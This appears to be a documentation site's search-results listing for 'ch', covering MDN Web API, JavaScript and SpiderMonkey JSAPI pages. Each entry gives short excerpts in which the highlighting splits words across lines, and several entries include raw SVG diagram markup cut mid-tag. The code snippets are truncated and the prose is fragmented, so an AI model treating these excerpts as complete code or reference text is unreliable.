chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">sv...
...And 4 more matches
ScriptProcessorNode.onaudioprocess - Web APIs
the onaudioprocess event handler of the scriptprocessornode interface represents the eventhandler to be called for the audioprocess event that is dispat
ched to scriptprocessornode node types.
... an event of type audioprocessingevent will be dispat
ched to the event handler.
...} example the following example shows basic usage of a scriptprocessornode to take a track loaded via audiocontext.decodeaudiodata(), process it, adding a bit of white noise to ea
ch audio sample of the input track (buffer) and play it through the audiodestinationnode.
...And 4 more matches
Selection.modify() - Web APIs
the selection.modify() method applies a
change to the current selection or cursor position, using simple textual commands.
... syntax sel.modify(alter, direction, granularity) parameters alter the type of
change to apply.
... direction the direction in whi
ch to adjust the current selection.
...And 4 more matches
TextRange - Web APIs
textrange.findtext() sear
ches the specified text in the original range and adjusts the range to include the first mat
ch.
...su
ch as, move("
character",-1) means to move one
character to the left.
... textrange.parentelement() returns the parent element of the range, whi
ch is the smallest element that contains the range completely.
...And 4 more matches
Visual Viewport API - Web APIs
the visual viewport api provides an explicit me
chanism for querying and modifying the properties of the window's visual viewport.
... the visual viewport is the visual portion of a screen excluding on-screen keyboards, areas outside of a pin
ch-zoom area, or any other on-screen artifact that doesn't scale with the dimensions of a page.
...when the user pin
ch-zooms into the page, the visual viewport shrinks but the layout viewport is un
changed.
...And 4 more matches
WEBGL_draw_buffers - Web APIs
the webgl_draw_buffers extension is part of the webgl api and enables a fragment shader to write to several textures, whi
ch is useful for deferred shading, for example.
... constants this extension exposes new constants, whi
ch can be used in the gl.framebufferrenderbuffer(), gl.framebuffertexture2d(), gl.getframebufferatta
chmentparameter() ext.drawbufferswebgl(), and gl.getparameter() methods.
... ext.color_atta
chment0_webgl ext.color_atta
chment1_webgl ext.color_atta
chment2_webgl ext.color_atta
chment3_webgl ext.color_atta
chment4_webgl ext.color_atta
chment5_webgl ext.color_atta
chment6_webgl ext.color_atta
chment7_webgl ext.color_atta
chment8_webgl ext.color_atta
chment9_webgl ext.color_atta
chment10_webgl ext.color_atta
chment11_webgl ext.color_atta
chment12_webgl ext.color_atta
chment13_webgl ext.color_atta
chment14_webgl ext.color_atta
chment15_webgl a glenum specifying a color buffer.
...And 4 more matches
Animating textures in WebGL - Web APIs
this is actually pretty easy to do and fun to wat
ch, so let's get started.
... you can use similar code to use any sort of data (su
ch as a <canvas>) as the source for your textures.
... video can be copied to texture var copyvideo = false; function setupvideo(url) { const video = document.createelement('video'); var playing = false; var timeupdate = false; video.autoplay = true; video.muted = true; video.loop = true; // waiting for these 2 events ensures // there is data in the video video.addeventlistener('playing', function() { playing = true;
checkready(); }, true); video.addeventlistener('timeupdate', function() { timeupdate = true;
checkready(); }, true); video.src = url; video.play(); function
checkready() { if (playing && timeupdate) { copyvideo = true; } } return video; } first we create a video element.
...And 4 more matches
Introduction to WebRTC protocols - Web APIs
this article introduces the protocols on top of whi
ch the webrtc api is built.
...that way you don’t need a unique public ip for ea
ch device but can still be discovered on the internet.
...you would create a connection with a turn server and tell all peers to send packets to the server whi
ch will then be forwarded to you.
...And 4 more matches
JavaScript error reference - JavaScript
below, you'll find a list of errors whi
ch are thrown by javascript.
...ea
ch error is an object based upon the error object, and has a name and a message.
... list of errors in this list, ea
ch page is listed by name (the type of error) and message (a more detailed human-readable error message).
...And 4 more matches
Arrow function expressions - JavaScript
unction is `return`, we can remove `return` and remove // the surrounding curly brackets elements.map(element => element.length); // [8, 6, 7, 9] // in this case, because we only need the length property, we can use destructuring parameter: // notice that the `length` corresponds to the property we want to get whereas the // obviously non-special `lengthfoobarx` is just the name of a variable whi
ch can be
changed // to any valid variable name you want elements.map(({ length: lengthfoobarx }) => lengthfoobarx); // [8, 6, 7, 9] // this destructuring parameter assignment can also be written as seen below.
... this.age = 0; setinterval(function growup() { // in non-strict mode, the growup() function defines `this` // as the global object (because it's where growup() is executed.), // whi
ch is different from the `this` // defined by the person() constructor.
... function person() { var that = this; that.age = 0; setinterval(function growup() { // the callback refers to the `that` variable of whi
ch // the value is the expected object.
...And 4 more matches
Array.prototype.concat() - JavaScript
this method does not
change the existing arrays, but instead returns a new array.
...if all valuen parameters are omitted, concat returns a shallow copy of the existing array on whi
ch it is called.
... description the concat method creates a new array consisting of the elements in the object on whi
ch it is called, followed in order by, for ea
ch argument, the elements of that argument (if the argument is an array) or the argument itself (if the argument is not an array).
...And 4 more matches
Array.from() - JavaScript
description array.from() lets you create arrays from: array-like objects (objects with a length property and indexed elements); or iterable objects (objects su
ch as map and set).
... array.from() has an optional parameter mapfn, whi
ch allows you to execute a map() function on ea
ch element of the array being created.
...as a result, static methods su
ch as array.from() are "inherited" by subclasses of array, and create new instances of the subclass, not array.
...And 4 more matches
Function.prototype.bind() - JavaScript
description the bind() function creates a new bound function, whi
ch is an exotic function object (a term from ecmascript 2015) that wraps the original function object.
... thus, presented below are two options for function.prototype.bind() polyfills: the first one is mu
ch smaller and more performant, but does not work when using the new operator.
...le function throw new typeerror('function.prototype.bind - ' + 'what is trying to be bound is not callable'); } return function(){ var funcargs = args.concat(slice.call(arguments)) return thatfunc.apply(thatarg, funcargs); }; }; })(); you can partially work around this by inserting the following code at the beginning of your scripts, allowing use of mu
ch of the functionality of bind() in implementations that do not natively support it.
...And 4 more matches
Intl.DateTimeFormat.prototype.formatToParts() - JavaScript
it returns an array of objects containing the locale-specific tokens from whi
ch it possible to build custom strings while preserving the locale-specific parts.
...for example by using array.prototype.map(), arrow functions, a swit
ch statement, template literals, and array.prototype.reduce().
... var datestring = formatter.formattoparts(date).map(({type, value}) => { swit
ch (type) { case 'dayperiod': return `<b>${value}</b>`; default : return value; } }).reduce((string, part) => string + part); this will make the day period bold, when using the formattoparts() method.
...And 4 more matches
Intl.Locale.prototype.collation - JavaScript
the intl.locale.prototype.collation property is an accessor property that returns the collation type for the locale, whi
ch is used to order strings according to the locale's rules.
... description collation is the process of ordering strings of
characters.
... it is used whenever strings must be sorted and placed into a certain order, from sear
ch query results to ordering records in a database.
...And 4 more matches
Intl.Locale.prototype.numberingSystem - JavaScript
as with most internationalization s
chemas, the numeral systems that can be represented in a locale object by numberingsystem are standardized by unicode.
...lam digits ahom ahom digits arab arabic-indic digits arabext extended arabic-indic digits armn armenian upper case numerals — algorithmic armnlow armenian lower case numerals — algorithmic bali balinese digits beng bengali digits bhks bhaiksuki digits brah brahmi digits cakm
chakma digits
cham
cham digits cyrl cyrillic numerals — algorithmic deva devanagari digits ethi ethiopic numerals — algorithmic finance financial numerals — may be algorithmic fullwide full width digits geor georgian numerals — algorithmic gong gunjala gondi digits gonm masaram gondi d...
...igits grek greek upper case numerals — algorithmic greklow greek lower case numerals — algorithmic gujr gujarati digits guru gurmukhi digits hanidays han-
character day-of-month numbering for lunar/other traditional calendars hanidec positional decimal system using
chinese number ideographs as digits hans simplified
chinese numerals — algorithmic hansfin simplified
chinese financial numerals — algorithmic hant traditional
chinese numerals — algorithmic hantfin traditional
chinese financial numerals — algorithmic hebr hebrew numerals — algorithmic hmng pahawh hmong digits hmnp nyiakeng pua
chue hmong digits java jav...
...And 4 more matches
Object.prototype.isPrototypeOf() - JavaScript
the isprototypeof() method
checks if an object exists in another object's prototype
chain.
...in the expression "object instanceof afunction", the object prototype
chain is
checked against afunction.prototype, not against afunction itself.
... syntax prototypeobj.isprototypeof(object) parameters object the object whose prototype
chain will be sear
ched.
...And 4 more matches
Proxy - JavaScript
the proxy object enables you to create a proxy for another object, whi
ch can intercept and redefine fundamental operations for that object.
... description a proxy is created with two parameters: target: the original object whi
ch you want to proxy handler: an object that defines whi
ch operations will be intercepted and how to redefine intercepted operations.
...roxy1.message1); // hello console.log(proxy1.message2); // everyone to customise the proxy, we define functions on the handler object: const target = { message1: "hello", message2: "everyone" }; const handler2 = { get: function(target, prop, receiver) { return "world"; } }; const proxy2 = new proxy(target, handler2); here we've provided an implementation of the get() handler, whi
ch intercepts attempts to access properties in the target.
...And 4 more matches
RegExpInstance.lastIndex - JavaScript
the lastindex is a read/write integer property of regular expression instances that specifies the index at whi
ch to start the next mat
ch.
... property attributes of regexpinstance.lastindex writable yes enumerable no configurable no description this property is set only if the regular expression instance used the g flag to indicate a global sear
ch, or the y flag to indicate a sticky sear
ch.
... if lastindex is equal to or less than the length of the string and if the regular expression mat
ches the empty string, then the regular expression mat
ches input starting from lastindex.
...And 4 more matches
String.prototype.localeCompare() - JavaScript
in older implementations, whi
ch ignore the locales and options arguments, the locale and sort order used are entirely implementation-dependent.
... syntax referencestr.localecompare(comparestring[, locales[, options]]) parameters comparestring the string against whi
ch the referencestr is compared.
...in implementations whi
ch ignore the locales and options arguments, the locale used and the form of the string returned are entirely implementation-dependent.
...And 4 more matches
String.prototype.substr() - JavaScript
the substr() method returns a portion of the string, starting at the specified index and extending for a given number of
characters afterwards.
... syntax str.substr(start[, length]) parameters start the index of the first
character to include in the returned substring.
...the number of
characters to extract.
...And 4 more matches
TypedArray.prototype.filter() - JavaScript
syntax typedarray.filter(callback[, thisarg]) parameters callback function to test ea
ch element of the typed array.
... description the filter() method calls a provided callback function once for ea
ch element in a typed array, and constructs a new typed array of all the values for whi
ch callback returns a true value.
... callback is invoked only for indexes of the typed array whi
ch have assigned values; it is not invoked for indexes whi
ch have been deleted or whi
ch have never been assigned values.
...And 4 more matches
WebAssembly.Instance - JavaScript
examples syn
chronously instantiating a webassembly module the webassembly.instance() constructor function can be called to syn
chronously instantiate a given webassembly.module object, for example: const importobject = { imports: { imported_func: function(arg) { console.log(arg); } } }; fet
ch('simple.wasm').then(response => response.arraybuffer() ).then(bytes => { let mod = new webassemb...
...ly.module(bytes); let instance = new webassembly.instance(mod, importobject); instance.exports.exported_func(); }) the preferred way to get an instance is asyn
chronously, for example using the webassembly.instantiatestreaming() function like this: const importobject = { imports: { imported_func: function(arg) { console.log(arg); } } }; webassembly.instantiatestreaming(fet
ch('simple.wasm'), importobject) .then(obj => obj.instance.exports.exported_func()); this also demonstrates how the exports property is used to access exported functions.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 4 more matches
JS_CallFunction
syntax /* added in spidermonkey 31 */ bool js_callfunction(jscontext *cx, js::handleobject obj, js::handlefunction fun, const js::handlevaluearray& args, js::mutablehandlevalue rval); bool js_callfunctionname(jscontext *cx, js::handleobject obj, const
char *name, const js::handlevaluearray& args, js::mutablehandlevalue rval); bool js_callfunctionvalue(jscontext *cx, js::handleobject obj, js::handlevalue fval, const js::handlevaluearray& args, js::mutablehandlevalue rval); /* obsolete since jsapi 30 */ bool js_callfunction(jscontext *cx, jsobject *obj, jsfunction *fun, unsigned argc, jsval *argv, jsval *rval); bool js_callfunctionname(jscontext *cx, jsobject *obj, co...
...nst
char *name, unsigned argc, jsval *argv, jsval *rval); bool js_callfunctionvalue(jscontext *cx, jsobject *obj, jsval fval, unsigned argc, jsval *argv, jsval *rval); name type description cx jscontext * pointer to a js context from whi
ch to derive runtime information.
... obj js::handleobject the "current" object on whi
ch the function operates; the object specified here is "this" when the function executes.
...And 3 more matches
JS_DumpHeap
every jscontext is permanently associated with a jsruntime; ea
ch jsruntime contains a gc heap.
...when null, dump all things rea
chable from the runtime roots.
... when non-null, dump only things rea
chable from the object indicated.
...And 3 more matches
JS_EncodeString
syntax
char * js_encodestring(jscontext *cx, jsstring *str);
char * js_encodestringtoutf8(jscontext *cx, js::handlestring str); // added in spidermonkey 24 name type description cx jscontext * a context.
... description js_encodestring and js_encodestringtoutf8 convert the specified javascript str to a c string (an array of 8-bit
chars).
...otherwise the high byte is simply dropped from ea
ch char16_t.
...And 3 more matches
JS_GetGlobalObject
(in javascript, global variables are stored as properties of the global object.) syntax jsobject * js_getglobalobject(jscontext *cx); name type description cx jscontext * the context from whi
ch to retrieve the global object.
... description this function is obsolete: use js_getglobalforobject or js_getglobalforscope
chain instead.
...spidermonkey supports applications that have multiple global objects, su
ch as the various window objects in a web browser.
...And 3 more matches
JS_GetPropertyAttrsGetterAndSetter
syntax jsbool js_getpropertyattrsgetterandsetter(jscontext *cx, jsobject *obj, const
char *name, unsigned int *attrsp, jsbool *foundp, jspropertyop *getterp, jspropertyop *setterp); jsbool js_getucpropertyattrsgetterandsetter(jscontext *cx, jsobject *obj, const js
char *name, size_t namelen, unsigned int *attrsp, jsbool *foundp, jspropertyop *getterp, jspropertyop *setterp); jsbool js_getpropertyattrsgetterandsetterbyid(jscontext *cx, jsobject *obj, jsid id, unsigned int *attrsp, jsbool *foundp, jspropertyop *ge...
...tterp, jspropertyop *setterp); // added in spidermonkey 1.8.1 name type description cx jscontext * the context in whi
ch to perform the property lookup.
... obj jsobject * object from whi
ch to retrieve property attributes.
...And 3 more matches
JS_GetPropertyDefault
syntax bool js_getpropertydefault(jscontext *cx, jsobject *obj, const
char *name, jsval def, js::mutablehandle<js::value> vp); bool js_getpropertybyiddefault(jscontext *cx, jsobject *obj, jsid id, jsval def, js::mutablehandle<js::value> vp); name type description cx jscontext * a context.
... obj js::handleobject object to sear
ch on for the property.
... name or id const
char * or js::handleid name of the property to look up.
...And 3 more matches
JS_GetPropertyDescriptor
syntax bool js_getpropertydescriptor(jscontext *cx, js::handleobject obj, const
char *name, js::mutablehandle<jspropertydescriptor> desc); // added in spidermonkey 31 bool js_getpropertydescriptorbyid(jscontext *cx, js::handleobject obj, js::handleid id, js::mutablehandle<jspropertydescriptor> desc); name type description cx jscontext * a context.
... obj js::handleobject the object to sear
ch for the property.
... id const
char * or js::handleid the name of the property to look up.
...And 3 more matches
JS_GetStringBytes
syntax
char * js_getstringbytes(jsstring *str); const
char * js_getstringbytesz(jscontext *cx, jsstring *str); // added in jsapi 1.8.2 name type description cx jscontext * (js_getstringbytesz and js_encodestring only) a context.
... description js_getstringbytes and js_getstringbytesz convert the specified javascript string, str, to a c string (an array of 8-bit
chars).
...otherwise the high byte is simply dropped from ea
ch js
char.
...And 3 more matches
JS_InstanceOf
syntax bool js_instanceof(jscontext *cx, js::handle<jsobject*> obj, const jsclass *clasp, js::callargs *args); // added in spidermonkey 38 bool js_instanceof(jscontext *cx, js::handle<jsobject*> obj, const jsclass *clasp, jsval *argv); // obsolete since jsapi 32 name type description cx jscontext * pointer to a js context from whi
ch to derive runtime information.
... clasp jsclass * class against whi
ch to test the object.
...obsolete since jsapi 32 description js_instanceof can be used to
check whether an object obj is of a particular jsclass.
...And 3 more matches
JS_NewRegExpObject
syntax jsobject * js_newregexpobject(jscontext *cx, js::handleobject obj, const
char *bytes, size_t length, unsigned flags); jsobject * js_newucregexpobject(jscontext *cx, js::handleobject obj, const
char16_t *
chars, size_t length, unsigned flags); jsobject * js_newregexpobjectnostatics(jscontext *cx,
char *bytes, size_t length, unsigned flags); jsobject * js_newucregexpobjectnostatics(jscontext *cx,
char16_t *
chars, size_t length, unsigned flags); name type description cx jscontext * the context in whi
ch to create the new object.
... bytes or
chars const
char * or const
char16_t * a pointer to the string that contains a regular expression.
... length size_t the length of bytes or
chars, in
characters.
...And 3 more matches
JS_NewUCString
syntax jsstring * js_newucstring(jscontext *cx,
char16_t *
chars, size_t length); jsstring * js_newstring(jscontext *cx,
char *buf, size_t length); // obsolete since jsapi 1.8.5 name type description cx jscontext * the context in whi
ch to create the new string.
... buf
char * or
char16_t * pointer to a
character array, allocated with js_malloc, containing the
characters for the js string to create.
... length size_t number of
characters in the text string.
...And 3 more matches
JS_PutEscapedString
syntax size_t js_putescapedstring(jscontext *cx,
char *buffer, size_t size, jsstring *str,
char quote); size_t js_putescapedflatstring(
char *buffer, size_t size, jsflatstring *str,
char quote); name type description cx jscontext * a context.
... buffer
char * a pointer to
char buffer to write into.
... quote
char one of 0, single quote, and double quote.
...And 3 more matches
JS_SetCompartmentNameCallback
this article covers features introduced in spidermonkey 17 set callback function to name ea
ch compartment.
... callback jscompartmentnamecallback callback function whi
ch will be called to name ea
ch compartment (see below).
... callback function typedef void (* jscompartmentnamecallback)(jsruntime *rt, jscompartment *compartment,
char *buf, size_t bufsize); name type description cx jsruntime * the runtime of the compartments.
...And 3 more matches
JS_SetNativeStackQuota
this article covers features introduced in spidermonkey 17 enable or disable
checks to avoid overflowing the c stack.
...to disable stack size
checking, pass 0.
... spidermonkey allows for a distinction between system code (su
ch as gcs, whi
ch may incidentally be triggered by script but are not strictly performed on behalf of su
ch script), trusted script (as determined by js_settrustedprincipals), and untrusted script.
...And 3 more matches
JS_TracerInit
cx jscontext * the context in whi
ch to perform tracing.
... callback jstracecallback a callback, described below, whi
ch the tracing apis will call ea
ch time a pointer is found from one gc thing to another.
...in the latter case, the only operations the callback may perform on thing are to call js_trace
children or the debug-only js_printtracethinginfo function.
...And 3 more matches
Audio() - Web APIs
the audio() constructor creates and returns a new htmlaudioelement whi
ch can be either atta
ched to a document for the user to interact with and/or listen to, or can be used offscreen to manage and play audio.
...if a url is specified, the browser begins to asyn
chronously load the media resource before returning the new object.
... usage notes you can also use other element-creation methods, su
ch as the document object's createelement() method, to construct a new htmlaudioelement.
...And 3 more matches
HTMLBaseElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlbaseelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">...
...And 3 more matches
HTMLDetailsElement: toggle event - Web APIs
examples this example logs
chapters that are open.
...
chapters are removed from the log when they are closed.
... html <aside id="log"> <b>open
chapters:</b> <div data-id="
ch1" hidden>i</div> <div data-id="
ch2" hidden>ii</div> <div data-id="
ch3" hidden>iii</div> </aside> <section id="summaries"> <b>
chapter summaries:</b> <details id="
ch1"> <summary>
chapter i</summary> philosophy reproves boethius for the foolishness of his complaints against fortune.
...And 3 more matches
HTMLElement: input event - Web APIs
the input event fires when the value of an <input>, <select>, or <textarea> element has been
changed.
... for <input> elements with type=
checkbox or type=radio, the input event should fire whenever a user toggles the control, per the html5 specification.
...
check compatibility, or use the
change event instead for elements of these types.
...And 3 more matches
HTMLFrameSetElement - Web APIs
htmlframesetelement.cols is a domstring structured as a comma-seperated list specifing the width of ea
ch column inside a frameset.
... htmlframesetelement.rows is a domstring structured as a comma-seperated list specifing the height of ea
ch column inside a frameset.
... windoweventhandlers.onhash
change is an eventhandler representing the code to be called when the hash
change event is raised.
...And 3 more matches
HTMLHyperlinkElementUtils - Web APIs
the htmlhyperlinkelementutils mixin defines utility methods and properties to work with htmlan
chorelement and htmlareaelement.
... there are no objects of this type, but several objects su
ch as htmlan
chorelement and htmlareaelement implement it.
... htmlhyperlinkelementutils.protocol this is a usvstring containing the protocol s
cheme of the url, including the final ':'.
...And 3 more matches
HTMLImageElement.decoding - Web APIs
possible values are: sync: decode the image syn
chronously for atomic presentation with other content.
... async: decode the image asyn
chronously to reduce delay in presenting other content.
... auto: default mode, whi
ch indicates no preference for the decoding mode.
...And 3 more matches
HTMLImageElement.naturalHeight - Web APIs
the htmlimageelement interface's naturalheight property is a read-only value whi
ch returns the intrinsic (natural), density-corrected height of the image in css pixels.
...this is the height at whi
ch the image is naturally drawn when no constraint or specific value is established for the image.
... this natural height is corrected for the pixel density of the device on whi
ch it's being presented, unlike height.
...And 3 more matches
HTMLInputElement.stepDown() - Web APIs
given <input id="mytime" type="time" max="17:00" step="900" value="17:00">, invoking mytime.step(3) will
change the value to 16:15, decrementing the time by 3 * 900, or 45 minutes.
... <!-- decrements by intervals of 900 seconds (15 minute) --> <input type="time" max="17:00" step="900"> <!-- decrements by intervals of 7 days (one week) --> <input type="date" max="2019-12-25" step="7"> <!-- decrements by intervals of 12 months (one year) --> <input type="month" max="2019-12" step="12"> the method, when invoked,
changes the form control's value by the value given in the step attribute, multiplied by the parameter, within the constraints set within the form control.
... if the value before invoking the stepdown() method is invalid, for example, if it doesn't mat
ch the constraints set by the step attribute, invoking the stepdown() method will return a value that does mat
ch the form controls constraints.
...And 3 more matches
HTMLInputElement.webkitEntries - Web APIs
this means the <input> element was configured to let the user
choose directories.
... this property is called webkitentries in the specification due to its origins as a google
chrome-specific api.
... syntax var entries = htmlinputelement.webkitentries; value an array of objects based on filesystementry, ea
ch representing one file whi
ch is selected in the <input> element.
...And 3 more matches
HTMLLabelElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmllabelelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle"...
...And 3 more matches
HTMLMediaElement.onencrypted - Web APIs
idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-20 0 700 60" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlmediaelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle"...
...And 3 more matches
HTMLMediaElement.onwaitingforkey - Web APIs
idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-20 0 700 60" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
